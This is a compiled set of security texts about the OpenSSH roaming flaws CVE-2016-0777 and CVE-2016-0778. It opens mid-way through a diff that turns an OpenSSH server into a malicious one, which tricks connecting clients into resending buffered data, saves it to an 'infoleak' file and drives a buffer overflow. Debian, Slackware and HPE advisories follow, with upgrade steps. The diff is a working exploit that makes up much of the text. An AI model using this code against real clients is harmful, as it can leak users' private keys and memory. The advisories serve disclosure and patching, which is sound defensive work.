roaming_id */\n+\tdebug(\"%s: id %u\", __func__, id);\n+\tpacket_check_eom();\n+\n+\tconst char *const dir = get_roaming_dir(id);\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tconst int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, dir, errno);\n+\tif (fchdir(fd) != 0)\n+\t\tfatal(\"%s: fchdir %s errno %d\", __func__, dir, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, dir, errno);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);\n+\tpacket_put_int64(arc4random()); /* chall */\n+\tpacket_put_int64(arc4random()); /* oldchall */\n+\tpacket_send();\n+\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);\n+\tconst u_int64_t client_read_bytes = packet_get_int64();\n+\tdebug(\"%s: client_read_bytes %llu\", __func__,\n+\t    (unsigned long long)client_read_bytes);\n+\tpacket_get_int64(); /* digest (1-8) */\n+\tpacket_get_int64(); /* digest (9-16) */\n+\tpacket_get_int();   /* digest (17-20) */\n+\tpacket_check_eom();\n+\n+\tu_int64_t client_write_bytes;\n+\tsize_t len = sizeof(client_write_bytes);\n+\tload_roaming_file(\"client_write_bytes\", \u0026client_write_bytes, \u0026len);\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\n+\tu_int client_out_buf_size;\n+\tlen = sizeof(client_out_buf_size);\n+\tload_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size, \u0026len);\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0 || client_out_buf_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: client_out_buf_size %u\", __func__,\n+\t\t\t   client_out_buf_size);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);\n+\tpacket_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);\n+\tpacket_send();\n+\tconst int overflow = (access(\"output\", F_OK) == 0);\n+\tif (overflow != 0) {\n+\t\tconst void *const ptr = load_roaming_file(\"output\", NULL, \u0026len);\n+\t\tbuffer_append(packet_get_output(), ptr, len);\n+\t}\n+\tpacket_write_wait();\n+\n+\tchar *const client_out_buf = xmalloc(client_out_buf_size);\n+\tif (atomicio(read, packet_get_connection_in(), client_out_buf,\n+\t\t\t       client_out_buf_size) != client_out_buf_size)\n+\t\tfatal(\"%s: read client_out_buf_size %u errno %d\", __func__,\n+\t\t\t\tclient_out_buf_size, errno);\n+\tif (overflow == 0)\n+\t\tdump_roaming_file(\"infoleak\", client_out_buf,\n+\t\t\t\t\t      client_out_buf_size);\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n kex_choose_conf(Kex *kex)\n {\n \tNewkeys *newkeys;\n@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)\n \t\t\tkex-\u003eroaming = 1;\n \t\t\tfree(roaming);\n \t\t}\n+\t} else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {\n+\t\troaming_reconnect();\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, KEX_RESUME);\n \t}\n \n \t/* Algorithm Negotiation */\ndiff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h\n--- openssh-6.4p1/roaming.h\t2011-12-18 15:52:52.000000000 -0800\n+++ openssh-6.4p1+roaming/roaming.h\t2016-01-07 01:04:15.000000000 -0800\n@@ -42,4 +42,86 @@ void\tresend_bytes(int, u_int64_t *);\n void\tcalculate_new_key(u_int64_t *, u_int64_t, u_int64_t);\n int\tresume_kex(void);\n \n+#include \u003cfcntl.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \"atomicio.h\"\n+#include \"log.h\"\n+#include \"xmalloc.h\"\n+\n+static inline char *\n+get_roaming_dir(const u_int id)\n+{\n+\tconst size_t buflen = MAXPATHLEN;\n+\tchar *const buf = xmalloc(buflen);\n+\n+\tif ((u_int)snprintf(buf, buflen, \"/tmp/roaming-%08x\", id) \u003e= buflen)\n+\t\tfatal(\"%s: snprintf %u error\", __func__, id);\n+\treturn buf;\n+}\n+\n+static inline void\n+dump_roaming_file(const char *const name,\n+    const void *const buf, const size_t buflen)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buf == NULL)\n+\t\tfatal(\"%s: %s buf %p\", __func__, name, buf);\n+\tif (buflen \u003c= 0 || buflen \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s buflen %lu\", __func__, name, (u_long)buflen);\n+\n+\tconst int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tif (write(fd, buf, buflen) != (ssize_t)buflen)\n+\t\tfatal(\"%s: write %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+}\n+\n+static inline void *\n+load_roaming_file(const char *const name,\n+    void *buf, size_t *const buflenp)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buflenp == NULL)\n+\t\tfatal(\"%s: %s buflenp %p\", __func__, name, buflenp);\n+\n+\tconst int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tstruct stat st;\n+\tif (fstat(fd, \u0026st) != 0)\n+\t\tfatal(\"%s: fstat %s errno %d\", __func__, name, errno);\n+\tif (S_ISREG(st.st_mode) == 0)\n+\t\tfatal(\"%s: %s mode 0%o\", __func__, name, (u_int)st.st_mode);\n+\tif (st.st_size \u003c= 0 || st.st_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s size %lld\", __func__, name,\n+\t\t    (long long)st.st_size);\n+\n+\tif (buf == NULL) {\n+\t\t*buflenp = st.st_size;\n+\t\tbuf = xmalloc(*buflenp);\n+\t} else {\n+\t\tif (*buflenp != (size_t)st.st_size)\n+\t\t\tfatal(\"%s: %s size %lld buflen %lu\", __func__, name,\n+\t\t\t    (long long)st.st_size, (u_long)*buflenp);\n+\t}\n+\tif (read(fd, buf, *buflenp) != (ssize_t)*buflenp)\n+\t\tfatal(\"%s: read %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+\treturn buf;\n+}\n+\n #endif /* ROAMING */\ndiff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c\n--- openssh-6.4p1/serverloop.c\t2013-07-17 23:12:45.000000000 -0700\n+++ openssh-6.4p1+roaming/serverloop.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -1060,6 +1060,9 @@ server_request_session(void)\n \treturn c;\n }\n \n+static int client_session_channel = -1;\n+static int server_session_channel = -1;\n+\n static void\n server_input_channel_open(int type, u_int32_t seq, void *ctxt)\n {\n@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in\n \t\tc-\u003eremote_window = rwindow;\n \t\tc-\u003eremote_maxpacket = rmaxpack;\n \t\tif (c-\u003etype != SSH_CHANNEL_CONNECTING) {\n+\t\t\tdebug(\"%s: avoid client-side buf_append\", __func__);\n+\t\t\t/*\n \t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n \t\t\tpacket_put_int(c-\u003eremote_id);\n \t\t\tpacket_put_int(c-\u003eself);\n \t\t\tpacket_put_int(c-\u003elocal_window);\n \t\t\tpacket_put_int(c-\u003elocal_maxpacket);\n \t\t\tpacket_send();\n+\t\t\t*/\n+\t\t\tif (strcmp(ctype, \"session\") == 0) {\n+\t\t\t\tif (client_session_channel != -1)\n+\t\t\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t\t\t    __func__, client_session_channel);\n+\t\t\t\tclient_session_channel = c-\u003eremote_id;\n+\t\t\t\tserver_session_channel = c-\u003eself;\n+\t\t\t}\n \t\t}\n \t} else {\n \t\tdebug(\"server_input_channel_open: failure %s\", ctype);\n@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in\n }\n \n static void\n+roaming_disconnect(Kex *const kex)\n+{\n+\tconst char *cp, *roaming = getenv(\"ROAMING\");\n+\tif (roaming == NULL)\n+\t\troaming = \"infoleak\";\n+\tint overflow = 0;\n+\tif ((cp = strstr(roaming, \"overflow:\")) != NULL)\n+\t\toverflow = cp[9];\n+\n+\tconst u_int client_recv_buf_size = packet_get_int();\n+\tpacket_check_eom();\n+\tconst u_int server_recv_buf_size = get_recv_buf_size();\n+\tconst u_int server_send_buf_size = get_snd_buf_size();\n+\tdebug(\"%s: client_recv_buf_size %u\", __func__, client_recv_buf_size);\n+\tdebug(\"%s: server_recv_buf_size %u\", __func__, server_recv_buf_size);\n+\tdebug(\"%s: server_send_buf_size %u\", __func__, server_send_buf_size);\n+\n+\tu_int client_send_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_send_buf_size:\")) != NULL)\n+\t\tclient_send_buf_size = strtoul(cp + 21, NULL, 0);\n+\telse if (client_recv_buf_size == DEFAULT_ROAMBUF)\n+\t\tclient_send_buf_size = DEFAULT_ROAMBUF;\n+\telse {\n+\t\tconst u_int\n+\t\t    max = MAX(client_recv_buf_size, server_recv_buf_size),\n+\t\t    min = MIN(client_recv_buf_size, server_recv_buf_size);\n+\t\tif (min \u003c= 0)\n+\t\t\tfatal(\"%s: min %u\", __func__, min);\n+\t\tif (((u_int64_t)(max - min) * 1024) / min \u003c 1)\n+\t\t\tclient_send_buf_size = server_send_buf_size;\n+\t\telse\n+\t\t\tclient_send_buf_size = client_recv_buf_size;\n+\t}\n+\tdebug(\"%s: client_send_buf_size %u\", __func__, client_send_buf_size);\n+\tif (client_send_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_send_buf_size\", __func__);\n+\n+\tu_int id = 0;\n+\tchar *dir = NULL;\n+\tfor (;;) {\n+\t\tid = arc4random();\n+\t\tdebug(\"%s: id %u\", __func__, id);\n+\t\tfree(dir);\n+\t\tdir = get_roaming_dir(id);\n+\t\tif (mkdir(dir, S_IRWXU) == 0)\n+\t\t\tbreak;\n+\t\tif (errno != EEXIST)\n+\t\t\tfatal(\"%s: mkdir %s errno %d\", __func__, dir, errno);\n+\t}\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tif (chdir(dir) != 0)\n+\t\tfatal(\"%s: chdir %s errno %d\", __func__, dir, errno);\n+\n+\tu_int client_out_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_out_buf_size:\")) != NULL)\n+\t\tclient_out_buf_size = strtoul(cp + 20, NULL, 0);\n+\telse if (overflow != 0)\n+\t\tclient_out_buf_size = MAX_ROAMBUF;\n+\telse\n+\t\tclient_out_buf_size = 1 + arc4random() % 4096;\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_out_buf_size\", __func__);\n+\tdump_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size,\n+\t\t\t\t\t   sizeof(client_out_buf_size));\n+\n+\tif ((cp = strstr(roaming, \"scp_mode\")) != NULL) {\n+\t\tif (overflow != 0)\n+\t\t\tfatal(\"%s: scp_mode is incompatible with overflow %d\",\n+\t\t\t    __func__, overflow);\n+\n+\t\tu_int seconds_left_to_sleep = 3;\n+\t\tif ((cp = strstr(cp, \"sleep:\")) != NULL)\n+\t\t\tseconds_left_to_sleep = strtoul(cp + 6, NULL, 0);\n+\t\tdebug(\"%s: sleep %u\", __func__, seconds_left_to_sleep);\n+\n+\t\tif (client_session_channel == -1)\n+\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t    __func__, client_session_channel);\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_int(server_session_channel);\n+\t\tpacket_put_int(0); /* server window */\n+\t\tpacket_put_int(0); /* server maxpacket */\n+\t\tpacket_send();\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_DATA);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_string(\"\\0\\n\", 2); /* response\u0026source|sink\u0026run_err */\n+\t\tpacket_send();\n+\n+\t\tpacket_read_expect(SSH2_MSG_CHANNEL_REQUEST);\n+\t\tpacket_get_int(); /* server channel */\n+\t\tdebug(\"%s: channel request %s\", __func__,\n+\t\t    packet_get_cstring(NULL));\n+\n+\t\twhile (seconds_left_to_sleep)\n+\t\t\tseconds_left_to_sleep = sleep(seconds_left_to_sleep);\n+\t}\n+\n+\tpacket_start(SSH2_MSG_REQUEST_SUCCESS);\n+\tpacket_put_int(id); /* roaming_id */\n+\tpacket_put_int64(arc4random()); /* cookie */\n+\tpacket_put_int64(0); /* key1 */\n+\tpacket_put_int64(0); /* key2 */\n+\tpacket_put_int(client_out_buf_size - client_send_buf_size);\n+\tpacket_send();\n+\tpacket_write_wait();\n+\n+\tif (overflow != 0) {\n+\t\tconst u_int64_t full_client_out_buf = get_recv_bytes() +\n+\t\t\t\t     client_out_buf_size;\n+\n+\t\tu_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */\n+\t\tif ((cp = strstr(roaming, \"fd_leaks:\")) != NULL)\n+\t\t\tfd_leaks = strtoul(cp + 9, NULL, 0);\n+\t\tdebug(\"%s: fd_leaks %u\", __func__, fd_leaks);\n+\n+\t\twhile (fd_leaks--) {\n+\t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN);\n+\t\t\tpacket_put_cstring(overflow == \u0027X\u0027 ? \"x11\" :\n+\t\t\t    \"auth-agent@openssh.com\"); /* ctype */\n+\t\t\tpacket_put_int(arc4random()); /* server channel */\n+\t\t\tpacket_put_int(arc4random()); /* server window */\n+\t\t\tpacket_put_int(arc4random()); /* server maxpacket */\n+\t\t\tif (overflow == \u0027X\u0027) {\n+\t\t\t\tpacket_put_cstring(\"\"); /* originator */\n+\t\t\t\tpacket_put_int(arc4random()); /* port */\n+\t\t\t}\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\t\tpacket_get_int(); /* server channel */\n+\t\t\tpacket_get_int(); /* client channel */\n+\t\t\tpacket_get_int(); /* client window */\n+\t\t\tpacket_get_int(); /* client maxpacket */\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\twhile (get_recv_bytes() \u003c= full_client_out_buf) {\n+\t\t\tpacket_start(SSH2_MSG_GLOBAL_REQUEST);\n+\t\t\tpacket_put_cstring(\"\"); /* rtype */\n+\t\t\tpacket_put_char(1); /* want_reply */\n+\t\t\tpacket_send();\n+\n+\t\t\tpacket_read_expect(SSH2_MSG_REQUEST_FAILURE);\n+\t\t\tpacket_check_eom();\n+\t\t}\n+\n+\t\tif (kex == NULL)\n+\t\t\tfatal(\"%s: no kex, cannot rekey\", __func__);\n+\t\tif (kex-\u003eflags \u0026 KEX_INIT_SENT)\n+\t\t\tfatal(\"%s: KEX_INIT_SENT already\", __func__);\n+\t\tchar *const ptr = buffer_ptr(\u0026kex-\u003emy);\n+\t\tconst u_int len = buffer_len(\u0026kex-\u003emy);\n+\t\tif (len \u003c= 1+4) /* first_kex_follows + reserved */\n+\t\t\tfatal(\"%s: kex len %u\", __func__, len);\n+\t\tptr[len - (1+4)] = 1; /* first_kex_follows */\n+\t\tkex_send_kexinit(kex);\n+\n+\t\tu_int i;\n+\t\tpacket_read_expect(SSH2_MSG_KEXINIT);\n+\t\tfor (i = 0; i \u003c KEX_COOKIE_LEN; i++)\n+\t\t\tpacket_get_char();\n+\t\tfor (i = 0; i \u003c PROPOSAL_MAX; i++)\n+\t\t\tfree(packet_get_string(NULL));\n+\t\tpacket_get_char(); /* first_kex_follows */\n+\t\tpacket_get_int(); /* reserved */\n+\t\tpacket_check_eom();\n+\n+\t\tchar buf[8192*2]; /* two packet_read_seqnr bufferfuls */\n+\t\tmemset(buf, \u0027\\0\u0027, sizeof(buf));\n+\t\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);\n+\t\tpacket_put_string(buf, sizeof(buf));\n+\t\tpacket_send();\n+\t\tconst Buffer *const output = packet_get_output();\n+\t\tdump_roaming_file(\"output\", buffer_ptr(output),\n+\t\t\t\t\t    buffer_len(output));\n+\t}\n+\n+\tconst u_int64_t client_write_bytes = get_recv_bytes();\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\tdump_roaming_file(\"client_write_bytes\", \u0026client_write_bytes,\n+\t\t\t\t\t  sizeof(client_write_bytes));\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n server_input_global_request(int type, u_int32_t seq, void *ctxt)\n {\n \tchar *rtype;\n@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_\n \t} else if (strcmp(rtype, \"no-more-sessions@openssh.com\") == 0) {\n \t\tno_more_sessions = 1;\n \t\tsuccess = 1;\n+\t} else if (strcmp(rtype, ROAMING_REQUEST) == 0) {\n+\t\tif (want_reply != 1)\n+\t\t\tfatal(\"%s: rtype %s want_reply %d\", __func__,\n+\t\t\t\t   rtype, want_reply);\n+\t\troaming_disconnect(ctxt);\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, ROAMING_REQUEST);\n \t}\n \tif (want_reply) {\n \t\tpacket_start(success ?\ndiff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c\n--- openssh-6.4p1/sshd.c\t2013-07-19 20:21:53.000000000 -0700\n+++ openssh-6.4p1+roaming/sshd.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)\n \t}\n \tif (options.kex_algorithms != NULL)\n \t\tmyproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;\n+\telse\n+\t\tmyproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX \",\" KEX_RESUME;\n \n \tif (options.rekey_limit || options.rekey_interval)\n \t\tpacket_set_rekey_limits((u_int32_t)options.rekey_limit,\n. \n\nUsers with passphrase-less privates keys, especially in non interactive\nsetups (automated jobs using ssh, scp, rsync+ssh etc.) are advised to\nupdate their keys if they have connected to an SSH server they don\u0027t\ntrust. \n\nMore details about identifying an attack and mitigations will be\navailable in the Qualys Security Advisory. \n\nFor the oldstable distribution (wheezy), these problems have been fixed\nin version 1:6.0p1-4+deb7u3. \n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 1:6.7p1-5+deb8u1. \n\nFor the testing distribution (stretch) and unstable distribution (sid), these\nproblems will be fixed in a later version. \n\nWe recommend that you upgrade your openssh packages. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\n[slackware-security]  openssh (SSA:2016-014-01)\n\nNew openssh packages are available for Slackware 13.0, 13.1, 13.37, 14.0, 14.1,\nand -current to fix security issues. \n\n\nHere are the details from the Slackware 14.1 ChangeLog:\n+--------------------------+\npatches/packages/openssh-7.1p2-i486-1_slack14.1.txz:  Upgraded. \n  This update fixes an information leak and a buffer overflow. \n  For more information, see:\n    https://www.qualys.com/2016/01/14/cve-2016-0777-cve-2016-0778/openssh-cve-2016-0777-cve-2016-0778.txt\n    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0777\n    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0778\n  *****************************************************************\n  * IMPORTANT:  READ BELOW ABOUT POTENTIALLY INCOMPATIBLE CHANGES *\n  *****************************************************************\n  Rather than backport the fix for the information leak (which is the only\n  hazardous flaw), we have upgraded to the latest OpenSSH.  As of version\n  7.0, OpenSSH has deprecated some older (and presumably less secure)\n  algorithms, and also (by default) only allows root login by public-key,\n  hostbased and GSSAPI authentication.  Make sure that your keys and\n  authentication method will allow you to continue accessing your system\n  after the upgrade. \n  The release notes for OpenSSH 7.0 list the following incompatible changes\n  to be aware of:\n  * Support for the legacy SSH version 1 protocol is disabled by\n    default at compile time. \n  * Support for the 1024-bit diffie-hellman-group1-sha1 key exchange\n    is disabled by default at run-time. It may be re-enabled using\n    the instructions at http://www.openssh.com/legacy.html\n  * Support for ssh-dss, ssh-dss-cert-* host and user keys is disabled\n    by default at run-time. These may be re-enabled using the\n    instructions at http://www.openssh.com/legacy.html\n  * Support for the legacy v00 cert format has been removed. \n  * The default for the sshd_config(5) PermitRootLogin option has\n    changed from \"yes\" to \"prohibit-password\". \n  * PermitRootLogin=without-password/prohibit-password now bans all\n    interactive authentication methods, allowing only public-key,\n    hostbased and GSSAPI authentication (previously it permitted\n    keyboard-interactive and password-less authentication if those\n    were enabled). \n  (* Security fix *)\n+--------------------------+\n\n\nWhere to find the new packages:\n+-----------------------------+\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project!  :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you. \n\nUpdated package for Slackware 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware-13.0/patches/packages/openssh-7.1p2-i486-1_slack13.0.txz\n\nUpdated package for Slackware x86_64 13.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.0/patches/packages/openssh-7.1p2-x86_64-1_slack13.0.txz\n\nUpdated package for Slackware 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware-13.1/patches/packages/openssh-7.1p2-i486-1_slack13.1.txz\n\nUpdated package for Slackware x86_64 13.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.1/patches/packages/openssh-7.1p2-x86_64-1_slack13.1.txz\n\nUpdated package for Slackware 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware-13.37/patches/packages/openssh-7.1p2-i486-1_slack13.37.txz\n\nUpdated package for Slackware x86_64 13.37:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/openssh-7.1p2-x86_64-1_slack13.37.txz\n\nUpdated package for Slackware 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/openssh-7.1p2-i486-1_slack14.0.txz\n\nUpdated package for Slackware x86_64 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/openssh-7.1p2-x86_64-1_slack14.0.txz\n\nUpdated package for Slackware 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/openssh-7.1p2-i486-1_slack14.1.txz\n\nUpdated package for Slackware x86_64 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/openssh-7.1p2-x86_64-1_slack14.1.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/openssh-7.1p2-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/openssh-7.1p2-x86_64-1.txz\n\n\nMD5 signatures:\n+-------------+\n\nSlackware 13.0 package:\n856dd9c1b10641c282f30a34b7b63bea  openssh-7.1p2-i486-1_slack13.0.txz\n\nSlackware x86_64 13.0 package:\n80903b0829f0284d007e7a316f2ff2da  openssh-7.1p2-x86_64-1_slack13.0.txz\n\nSlackware 13.1 package:\n2095d1a304a94bab44993fdb7e0781c8  openssh-7.1p2-i486-1_slack13.1.txz\n\nSlackware x86_64 13.1 package:\n5bf653d7f5b4a9426ff2c5888af99f00  openssh-7.1p2-x86_64-1_slack13.1.txz\n\nSlackware 13.37 package:\n53e09b4371c045b9de1c86e0826324f9  openssh-7.1p2-i486-1_slack13.37.txz\n\nSlackware x86_64 13.37 package:\ncd0319ff3c574c50612d5ba2b38f2fdc  openssh-7.1p2-x86_64-1_slack13.37.txz\n\nSlackware 14.0 package:\n98cdc1d6ffea2a06d0c8013078681bff  openssh-7.1p2-i486-1_slack14.0.txz\n\nSlackware x86_64 14.0 package:\n2093f3e91a79e07f072c702a1704be73  openssh-7.1p2-x86_64-1_slack14.0.txz\n\nSlackware 14.1 package:\nd051d9f31cd380436ad01fa1641be1c7  openssh-7.1p2-i486-1_slack14.1.txz\n\nSlackware x86_64 14.1 package:\nf1f81757431c3c836f06ce5d22e2d5de  openssh-7.1p2-x86_64-1_slack14.1.txz\n\nSlackware -current package:\n70db20c5e4152bc9967b1e24cf91ed98  n/openssh-7.1p2-i586-1.txz\n\nSlackware x86_64 -current package:\ne13dc3da27f817bee693fbb907015817  n/openssh-7.1p2-x86_64-1.txz\n\n\nInstallation instructions:\n+------------------------+\n\nUpgrade the package as root:\n# upgradepkg openssh-7.1p2-i486-1_slack14.1.txz\n\nNext, restart the sshd daemon:\n# sh /etc/rc.d/rc.sshd restart\n\nThen before logging out, make sure that you still have remote access!\nSee the information about incompatible changes in OpenSSH 7.x above. \n\n\n+-----+\n\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list:                          |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message:                                                     |\n|                                                                        |\n|   unsubscribe slackware-security                                       |\n|                                                                        |\n| You will get a confirmation message back containing instructions to    |\n| complete the process.  Please do not reply to this email address.      |\n+------------------------------------------------------------------------+\n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niEYEARECAAYFAlaYWioACgkQakRjwEAQIjOwpACfXviFRy4mQxr63HyYu9zLgZ+Z\ndVsAn0sLTJYcXuCSQYnXNp+FYuIKWjVh\n=dePf\n-----END PGP SIGNATURE-----\n. \n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c05247375\nVersion: 1\n\nHPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System\n(vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information,\nRemote Denial of Service (DoS), Remote Disclosure of Information\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2016-08-29\nLast Updated: 2016-08-29\n\nPotential Security Impact: Remote Denial of Service (DoS), Disclosure of\nInformation, Unauthorized Modification Of Information\n\nSource: Hewlett Packard Enterprise, Product Security Response Team\n\nVULNERABILITY SUMMARY\nPotential vulnerabilities have been identified in the lighttpd and OpenSSH\nversion used in HPE Remote Device Access: Virtual Customer Access System\n(vCAS). These vulnerabilities could be exploited remotely resulting in\nunauthorized modification of information, denial of service (DoS), and\ndisclosure of information. \n\nReferences:\n\nCVE-2015-3200\nCVE-2016-0777\nCVE-2016-0778\nPSRT110211\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nHPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA\n8.1) and earlier. \n\nBACKGROUND\n\n  CVSS Base Metrics\n  =================\n  Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector\n\n    CVE-2015-3200\n      5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\n      5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)\n\n    CVE-2016-0777\n      6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\n      4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)\n\n    CVE-2016-0778\n      9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n      6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)\n\n    Information on CVSS is documented in\n    HPE Customer Notice HPSN-2008-002 here:\n\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499\n\nRESOLUTION\n\nHPE has made the following updates available to resolve the vulnerabilities\nin Remote Device Access: Virtual Customer Access System (vCAS)\n\nvCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and\nhp-rdacas-16.05-10482.ova. \n\nThe Oracle VirtualBox kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova\n\nThe VMware ESX(i) and VMware Player kit is available at:\nhttps://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova\n\nHISTORY\nVersion:1 (rev.1) - 29 August 2016 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running Hewlett Packard Enterprise (HPE) software\nproducts should be applied in accordance with the customer\u0027s patch management\npolicy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HPE Services support channel. For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hpe.com. \n\nReport: To report a potential security vulnerability for any HPE supported\nproduct:\n  Web form: https://www.hpe.com/info/report-security-vulnerability\n  Email: security-alert@hpe.com\n\nSubscribe: To initiate a subscription to receive future HPE Security Bulletin\nalerts via Email: 